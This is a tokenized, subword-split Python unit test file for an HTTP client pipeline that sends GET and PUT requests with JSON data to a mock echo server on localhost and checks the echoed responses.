"'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mid", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "drop", "'_", ":_", "'.", "stu", "ff", ".", "repl", "y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "._", "update_", "(_", "mid_", "=_", "2_", ",_", "drop_", "=_", "'.", "pu", "ff", ".", "repl", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Path_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "GET", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mid", "'_", ":_", "2_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "drop", "'_", ":_", "'.", "pu", "ff", ".", "repl", "y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "connector_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wire", "Log", "Beta", "_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "mock", "Ech", "o", "Service", "Json_", "(_", "self_", ",_", "server_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "mock", " ", "echo", " ", "server", " ", "service", " ", "with", " ", "json", " ", "data", " ", "request", " ", "body", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "._", "service", "Connect", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "server_", "._", "ix", "es_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "server_", "._", "service", "Receive", "s", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "ix", "Client_", "=_", "server_", "._", "ix", "es_", "._", "values_", "(_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "bytes_", "(_", "ix", "Client_", "._", "rx", "bs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "msg", "In_", "==_", "b", "'", "PU", "T", " ", "/", "echo", "?", "name", "=", "fam", "e", " ", "HTTP", "/", "1.1", "\\\\", "r", "\\\\", "n", "Host", ":", " ", "local", "host", ":", "610", "1", "\\\\", "r", "\\\\", "n", "Accept", "-", "Enco", "ding", ":", " ", "identi", "ty", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "3", "1", "\\\\", "r", "\\\\", "n", "Accept", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", ";", " ", "charset", "=", "utf", "-", "8", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "first", "\":\"", "Joh", "n", "\",\"", "last", "\":\"", "Smi", "th", "\"}'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ix", "Client_", "._", "clear", "Rx", "bs_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "'", "HTTP", "/", "1.1", " ", "200", " ", "OK", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Length", ":", " ", "122", "\\\\", "r", "\\\\", "n", "Conten", "t", "-", "Type", ":", " ", "applica", "tion", "/", "json", "\\\\", "r", "\\\\", "n", "Date", ":", " ", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "\\\\", "r", "\\\\", "n", "Server", ":", " ", "Io", "Boo", "k", ".", "local", "\\\\", "r", "\\\\", "n", "\\\\", "r", "\\\\", "n", "{", "\"", "content", "\":", " ", "null", ",", " ", "\"", "query", "\":", " ", "{", "\"", "name", "\":", " ", "\"", "fam", "e", "\"},", " ", "\"", "verb", "\":", " ", "\"", "GET", "\",", " ", "\"", "url", "\":", " ", "\"", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "\",", " ", "\"", "action", "\":", " ", "null", "}'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ix", "Client_", "._", "tx_", "(_", "msg", "Out_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "In_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "msg", "Out_", "=_", "b", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "server_", "._", "service", "Tx", "es", "All", "Ix", "_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Basic", "Test", "Case_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Json_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Test", " ", "Patr", "on", " ", "pipeline", " ", "servic", "ing", " ", "usi", "ng", " ", "path", " ", "component", "s", " ", "for", " ", "host", " ", "port", " ", "sche", "me", "\\", "10", ";", " ", " ", " ", " ", "with", " ", "json", " ", "body", " ", "in", " ", "data", "\\", "10", ";", " ", " ", " ", " ", "Request", " ", "include", "s", " ", "track", "ing", " ", "informati", "on", " ", "tha", "t", " ", "is", " ", "include", "d", " ", "in", " ", "repon", "ses", " ", "copy", "\\", "10", ";", " ", " ", " ", " ", "of", " ", "request", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "self_", "._", "test", "Patr", "on", "Pipe", "line", "Ech", "o", "Json_", "._", "\\u\\u", "doc\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Alpha_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Alpha_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "alpha_", "=_", "tcp_", "._", "Server_", "(_", "port_", "=_", "610", "1_", ",_", "bufsize_", "=_", "1310", "72_", ",_", "wl", "og_", "=_", "wire", "Log", "Alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "alpha_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "ha_", ",_", "(_", "'", "0.", "0.", "0.", "0", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "alpha_", "._", "eh", "a_", ",_", "(_", "'", "127", ".0", ".0", ".1", "'_", ",_", "610", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "console_", "._", "ters", "e_", "(_", "\"{", "0", "}\\\\", "n", "\"_", "._", "format_", "(_", "\"", "Building", " ", "Connect", "or", " ", "...", "\\\\", "n", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "wire", "Log", "Beta", "_", "=_", "wir", "ing_", "._", "Wire", "Log_", "(_", "buff", "ify_", "=_", "True_", ",_", "same_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "result_", "=_", "wire", "Log", "Beta", "_", "._", "reo", "pen_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "host", " ", "=", " ", "alpha", ".", "eh", "a", "[", "0", "]_", "\\u\\u\\uNL\\u\\u\\u_", "#", "port", " ", "=", " ", "alpha", ".", "eh", "a", "[", "1", "]_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "\"", "http", "://", "{", "0", "}:", "{", "1", "}/", "\"_", "._", "format_", "(_", "'", "local", "host", "'_", ",_", "alpha_", "._", "eh", "a_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "=_", "client", "ing_", "._", "Patr", "on_", "(_", "bufsize_", "=_", "1310", "72_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "wl", "og_", "=_", "wire", "Log", "Beta", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "path_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "reconnect", "able_", "=_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "reo", "pen_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "accepted_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "connected_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "connector_", "._", "cutoff_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "=_", "odict_", "(_", "[_", "(_", "'", "method", "'_", ",_", "u", "'", "PU", "T", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "path", "'_", ",_", "u", "'/", "echo", "?", "name", "=", "fam", "e", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "qa", "rg", "s", "'_", ",_", "odict_", "(_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "fragment", "'_", ",_", "u", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "header", "s", "'_", ",_", "odict_", "(_", "[_", "(_", "'", "Accept", "'_", ",_", "'", "applica", "tion", "/", "json", "'_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "data", "'_", ",_", "odict_", "(_", "[_", "(_", "\"", "first", "\"_", ",_", "\"", "Joh", "n", "\"_", ")_", ",_", "(_", "\"", "last", "\"_", ",_", "\"", "Smi", "th", "\"_", ")_", "]_", ")_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "mid", "'_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "(_", "'", "drop", "'_", ",_", "'.", "stu", "ff", ".", "repl", "y", "'_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Json_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "content", "-", "length", "'_", ":_", "'", "122", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "date", "'_", ":_", "'", "Thu", ",", " ", "30", " ", "Ap", "r", " ", "201", "5", " ", "1", "9", ":", "3", "7", ":", "1", "7", " ", "GM", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "server", "'_", ":_", "'", "Io", "Boo", "k", ".", "local", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "bytearray_", "(_", "b", "''_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "action", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "url", "'_", ":_", "'", "http", "://", "127", ".0", ".0", ".1", ":", "808", "0", "/", "echo", "?", "name", "=", "fam", "e", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "verb", "'_", ":_", "'", "GET", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "error", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "errore", "d", "'_", ":_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "request", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "host", "'_", ":_", "'", "local", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "610", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "sche", "me", "'_", ":_", "'", "http", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "'_", ":_", "'", "PU", "T", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "path", "'_", ":_", "'/", "echo", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "qa", "rg", "s", "'_", ":_", "{_", "'", "name", "'_", ":_", "'", "fam", "e", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "fragment", "'_", ":_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "accept", "'_", ":_", "'", "applica", "tion", "/", "json", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "content", "-", "type", "'_", ":_", "'", "applica", "tion", "/", "json", ";", " ", "charset", "=", "utf", "-", "8", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "body", "'_", ":_", "b", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "data", "'_", ":_", "{_", "'", "first", "'_", ":_", "'", "Joh", "n", "'_", ",_", "'", "last", "'_", ":_", "'", "Smi", "th", "'_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "far", "gs", "'_", ":_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mid", "'_", ":_", "1_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "drop", "'_", ":_", "'.", "stu", "ff", ".", "repl", "y", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request_", "._", "update_", "(_", "mid_", "=_", "2_", ",_", "drop_", "=_", "'.", "pu", "ff", ".", "repl", "y", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "requests_", "._", "append_", "(_", "request_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "(_", "not_", "alpha_", "._", "ix", "es_", "or_", "beta_", "._", "requests_", "or_", "\\u\\u\\uNL\\u\\u\\u_", "beta_", "._", "connector_", "._", "tx", "es_", "or_", "not_", "beta_", "._", "respond", "ent_", "._", "ended_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "mock", "Ech", "o", "Service", "Json_", "(_", "alpha_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "beta_", "._", "service", "All_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "time_", "._", "sleep_", "(_", "0.05_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "connector_", "._", "rx", "bs_", ")_", ",_", "0_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "wait", "ed_", ",_", "False_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Is_", "(_", "beta_", "._", "respond", "ent_", "._", "ended_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "len_", "(_", "beta_", "._", "responses_", ")_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "beta_", "._", "responses_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "response_", ",_", "{_", "'", "version", "'_", ":_", "(_", "1_", ",_", "1_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "status", "'_", ":_", "200_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "reason", "'_", ":_", "'", "OK", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "header", "s", "'_", ":_", 